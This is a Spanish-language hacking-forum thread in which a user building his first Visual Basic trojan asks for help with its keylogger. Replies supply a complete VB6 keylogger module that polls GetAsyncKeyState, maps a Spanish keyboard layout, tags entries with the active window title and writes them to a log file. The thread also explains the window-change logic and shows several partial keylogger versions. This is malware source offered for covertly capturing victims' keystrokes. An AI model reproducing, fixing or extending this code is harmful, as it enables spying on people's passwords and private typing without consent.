Autor
|
Tema: ayuda con keylogger (Leído 5,161 veces)
|
TheWhite
Desconectado
Mensajes: 46
|
bueno, estoy haciendo mi primer troyano en vb y estuve tratando de hacer un keylogger que: 1. Logea las teclas mientras la ventana siempre sea la misma 2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado ) ! si alguien tiene alguna sugerencia, bienvenida sea gracias de antemano PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO) Codigo: If Left(datos, 7) = "listwnd" Then Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String dato = Split(datos, "@") ventanas = Split(dato(1), "?") For i = 0 To UBound(ventanas) itemwnd() = Split(ventanas(i), "/") listWnd.AddItem itemwnd(0) "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR" Next i End If
|
|
« Última modificación: 7 Agosto 2007, 20:43 pm por TheWhite »
|
En línea
|
|
|
|
TheWhite
Desconectado
Mensajes: 46
|
Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano: Private Sub timeKeylog_Timer()
Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long hwndk = GetForegroundWindow lenT = GetWindowTextLength(hwndk) nomb = String$(lenT, 0) nomcompleto = GetWindowText(hwndk, nomb, lenT + 1) nomfinal = Left(nomb, nomcompleto)
activekey = GetActiveKey
Select Case activekey
Case vbKeyReturn
Open App.Path & "\systemkl.log" For Append As #1 Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"
Print #1, teclas Print #1, " " Close #1 teclas = ""
Case vbKeyA To vbKeyZ, 32 To 47 teclas = teclas + Chr(activekey) End Select
End Sub
Esto seria la funcion GetActiveKeys (creditos a Slasher-K) Function GetActiveKey() As Integer Static bStarted As Boolean Dim i%
If Not bStarted Then 'Inicializa el estado de las teclas llamando a 'la función GetAsyncKeyState. ' For i = 1 To 256 Call GetAsyncKeyState(i) Next
bStarted = True End If
For i = 1 To 256 'Obtiene la tecla pulsada actualmente. ' If GetAsyncKeyState(i) Then GetActiveKey = i Exit For End If Next End Function Alguien que me pueda echar una mano? Gracias
|
|
|
En línea
|
|
|
|
Jareth
Desconectado
Mensajes: 334
|
Vaya lio te estas montando. Es facil,ahora no te puedo poner ningun ejemplo,cuando esté en Windows te lo pondré del keylogger de mi troyano. Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando. Y asi.... Espero qeu se entienda,es sencillo. Tu codigo lo veo un lio... No se,no tengo ganas ahora de estar mirando,cuando este en windows ya te lo enseño
|
|
|
En línea
|
|
|
|
yovaninu
Desconectado
Mensajes: 349
|
Lo que hago es capturar e caption de la ventana activa,y lo almazeno en una variable,al principio del timer comparo el caption de la ventanaa actual con la variable esa que te digo,que no es mas que el caption de la ultima ventana activa,si es lo mismo pues que siga escribeindo,sino nueva linea con el nuevo caption y lo que se esta pulsando.
es un code que esta en internet publico para todos no se la fuente pero deberiamos siempre decir que no es nuestro code al menos no mio salvo que realmente lo consideres tuyo en fin... aqui esta: en el form load: Option Explicit Private Sub Form_Load() 'activar el keylogger SetTimer Me.hwnd, 0, 25, AddressOf TimerProc End Sub
y en un módulo: Option Explicit Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long Private Const VK_CAPITAL = &H14 Private Const VALPRESS = -32767 Private Const SHIFT As Integer = 16 Private Const ALT_GR As Integer = 165 Private Const SHIFTI As Integer = 160 Private Const ALTI As Integer = 164 Private Const CTRLI As Integer = 162 Declare Function GetForegroundWindow Lib "user32" () As Long Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private HISTORY As String Private WinActive As String Private File As String Dim retorno As Long Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Global Cnt As Long, sSave As String, sOld As String, ret As String Function GetPressedKey() As String On Error Resume Next For Cnt = 65 To 90 If GetAsyncKeyState(ALT_GR) < 0 Then Exit For retorno = GetAsyncKeyState(Cnt) If retorno = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then GetPressedKey = UCase$(Chr$(Cnt)) If BShift Then GetPressedKey = LCase$(Chr$(Cnt)) Else GetPressedKey = LCase$(Chr$(Cnt)) If BShift Then GetPressedKey = UCase$(Chr$(Cnt)) End If GoTo Found End If Next Cnt For Cnt = 48 To 57 retorno = GetAsyncKeyState(Cnt) If retorno = VALPRESS Then If GetAsyncKeyState(SHIFT) Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = Mid$("=!""·$%&/()", Cnt - 47, 1) GoTo Found End If Else If GetAsyncKeyState(ALT_GR) < 0 Then Select Case Cnt Case 49: GetPressedKey = "|" Case 50: GetPressedKey = "@" Case 51: GetPressedKey = "#" Case 52: GetPressedKey = "~" Case 53: GetPressedKey = "€" Case 54: GetPressedKey = "¬" Case Else: GetPressedKey = "" End Select Else GetPressedKey = Chr$(Cnt) End If GoTo Found End If End If Next Cnt For Cnt = 96 To 105 retorno = GetAsyncKeyState(Cnt) If (retorno = VALPRESS) And (Not GetAsyncKeyState(ALT_GR) < 0) Then GetPressedKey = Cnt - 96 GoTo Found End If Next Cnt If GetAsyncKeyState(111) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "/" GoTo Found End If ' If GetAsyncKeyState(106) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*" GoTo Found End If ' If GetAsyncKeyState(109) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "-" GoTo Found End If If GetAsyncKeyState(107) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "+" GoTo Found End If If GetAsyncKeyState(8) = VALPRESS Then 'tecla retroceso If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "" GoTo Found End If If GetAsyncKeyState(8) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{Del}" GoTo Found End If If GetAsyncKeyState(13) = VALPRESS Then GetPressedKey = vbCrLf SaveFile HISTORY HISTORY = "" GoTo Found End If If GetAsyncKeyState(32) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = " " GoTo Found End If If GetAsyncKeyState(46) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "" GoTo Found End If If GetAsyncKeyState(186) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "^" Else If GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "[" Else GetPressedKey = "`" End If End If GoTo Found End If If GetAsyncKeyState(187) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "*" Else If GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "]" Else GetPressedKey = "+" End If End If GoTo Found End If If GetAsyncKeyState(188) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ";" Else GetPressedKey = "," End If GoTo Found End If If GetAsyncKeyState(189) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "_" Else GetPressedKey = "-" End If GoTo Found End If If GetAsyncKeyState(190) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = ":" Else GetPressedKey = "." End If GoTo Found End If If GetAsyncKeyState(191) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "Ç" Else If GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "}" Else GetPressedKey = "ç" End If End If GoTo Found End If If GetAsyncKeyState(192) = VALPRESS Then If Not GetAsyncKeyState(ALT_GR) < 0 Then If GetAsyncKeyState(SHIFT) < 0 Then GetPressedKey = "Ñ" If BShift Then GetPressedKey = "ñ" Else GetPressedKey = "ñ" If BShift Then GetPressedKey = "Ñ" End If GoTo Found End If End If If GetAsyncKeyState(219) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "?" Else GetPressedKey = "'" End If GoTo Found End If If GetAsyncKeyState(220) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "ª" Else If GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "\" Else GetPressedKey = "º" End If End If GoTo Found End If If GetAsyncKeyState(221) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¿" Else GetPressedKey = "¡" End If GoTo Found End If If GetAsyncKeyState(222) = VALPRESS Then If GetAsyncKeyState(SHIFT) < 0 Then If Not GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "¨" Else If GetAsyncKeyState(ALT_GR) < 0 Then GetPressedKey = "{" Else GetPressedKey = "´" End If End If GoTo Found End If Found: If GetWinActive = WinActive Then HISTORY = HISTORY & GetPressedKey Else WinActive = GetWinActive HISTORY = HISTORY & "[" & WinActive & "]" & vbCrLf & GetPressedKey & vbCrLf End If End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) ret = GetPressedKey If ret <> sOld Then sOld = ret sSave = sSave + sOld End If End Sub Function BShift() As Boolean Dim Teclas(0 To 255) As Byte GetKeyboardState Teclas(0) BShift = Teclas(VK_CAPITAL) End Function Private Function GetWinActive() As String Dim Handle As Long Dim Lon As Long Dim Txt As String Dim ret As Long Handle = GetForegroundWindow() Lon = GetWindowTextLength(Handle) + 1 Txt = Space(Lon) ret = GetWindowText(Handle, Txt, Lon) GetWinActive = Left(Txt, Lon - 1) End Function Private Function SaveFile(Cont As String) On Error Resume Next Dim FF As Long FF = FreeFile Open "d:\logger.txt" For Binary As FF Put #FF, LOF(FF) + 1, Cont Close FF End Function
ejecutas y cada que presiones la tecla enter se crea un archivo logger.txt en la undad d, (puedes cambiar eso) con las teclas ultimas pulsadas... es un kylogger basico habria que añadirle mas funciones pero es lo que hasta ahora necesitas... un saludo!
|
|
|
En línea
|
|
|
|
Jareth
Desconectado
Mensajes: 334
|
Claro que es mio,no no he hecho copy&paste como tu,es evidente que codes de esos hay un monton,pero no por ello significa que tenags que copiarlos Enfin como veias si quereis seguir haciendo copy&paste en vez de entender lo que haceis y hacerlo vosotros...
|
|
|
En línea
|
|
|
|
TheWhite
Desconectado
Mensajes: 46
|
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?
Gracias
|
|
|
En línea
|
|
|
|
Jareth
Desconectado
Mensajes: 334
|
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?
Gracias
No,con 1 timer basta. Mira,te lo explico asi un poco,intenta sacarlo tu,sino ya te pondré el ejemplo(quizas mañana). Declara una variable como string en generla,digamos Ventana. Al principio del timer,capturas el caption de la ventana activa,y la comparas con la variable ventana,de manera que si es diferente,salte una linea y escriba(en mi caso)la fecha,hora y caption de la ventana.Al final,pon que la variable Ventana contenga el valor de la ventana activa en ese momento,asi cuando el tiemr se vuelva a ejecutar,se compara si es igual,si es igual se sigue escribiendo lo que se capta,sino se salta una linea y se ponen esos parametros(caption ventana,fecha y hora(en mi caso)),y se escribe lo k se capta a no ser qeu cambie. El resultado,es este: [Google - Mozilla Firefox] a las 19:00 el 20/07/07 videos xxx{Enter}
[Bloc de Notas]a las 19:01 el 20/07/07 Hola que tal....
Bueno es un ejemplo de como seria,los parametros ponlos como quieras,pero se ve claro el resultado que se obtendria
|
|
|
En línea
|
|
|
|
TheWhite
Desconectado
Mensajes: 46
|
Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono : Private Sub timeKeylog_Timer() Dim nombreactu As String, nom As String, hwndv As Long, vent As Long
hwndv = GetForegroundWindow() lenT = GetWindowTextLength(hwndv) nom = String$(lenT, 0) vent = GetWindowText(hwndv, nom, lenT + 1) nombreactu = Left(nom, vent) For i = 0 To 256 Dim estado As Long, teclas As String estado = GetAsyncKeyState(i) If estado = -32767 Then teclas = teclas + Chr(i) End If Next If Not ventana = nombreactu Then
Open App.Path & "\prueba.txt" For Append As #1 Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]" Print #1, teclas Close #1
teclas = "" ventana = nombreactu End If
End Sub este es el resultado de prueba.txt con ese codigo: [-09/08/2007-07:18:18 p.m.-]
[Server-09/08/2007-07:18:25 p.m.-]
[-09/08/2007-07:18:25 p.m.-]
[VB-09/08/2007-07:18:30 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]
[VB-09/08/2007-07:18:46 p.m.-]
[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]
[-09/08/2007-07:18:51 p.m.-]
[VB-09/08/2007-07:18:54 p.m.-]
[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]
[VB-09/08/2007-07:19:17 p.m.-]
[-09/08/2007-07:19:18 p.m.-]
No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras. Por ahora no pude encontrar el error.
|
|
|
En línea
|
|
|
|
TheWhite
Desconectado
Mensajes: 46
|
Nadie tiene ninguna sugerencia?
|
|
|
En línea
|
|
|
|
TheWhite
Desconectado
Mensajes: 46
|
Jareth, lei nuevamente tu recomendacion e hice esto: Private Sub timeKeylog_Timer() Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long
hwndv = GetForegroundWindow() lenT = GetWindowTextLength(hwndv) nom = String$(lenT, 0) vent = GetWindowText(hwndv, nom, lenT + 1) nombreactu = Left(nom, vent) If Not ventana = hwndv Then
Open App.Path & "\prueba.txt" For Append As #1 Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]" Print #1, teclas Close #1
teclas = ""
End If
For i = 0 To 256 Dim estado As Long, teclass As String estado = GetAsyncKeyState(i) If estado = -32767 Then teclass = teclass + Chr(i) End If
ventana = GetForegroundWindow() Next pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Ayuda,keylogger.
Análisis y Diseño de Malware
|
-H4D3S-
|
5
|
3,817
|
14 Mayo 2013, 19:50 pm
por daryo
|
|
|
Ayuda, keylogger
Seguridad
|
kopolo
|
2
|
2,646
|
14 Junio 2014, 03:47 am
por Mister12
|
|
|
usb keylogger ayuda
Hacking
|
MrVndT
|
1
|
2,898
|
27 Marzo 2015, 02:00 am
por Henyckma
|
|
|
Ayuda con Keylogger
Scripting
|
S4ur1k
|
1
|
2,483
|
5 Abril 2020, 09:09 am
por fary
|
|
|
ayuda con keylogger
Análisis y Diseño de Malware
|
el_hacker1724
|
3
|
4,472
|
25 Octubre 2021, 11:34 am
por Usuario887
|
|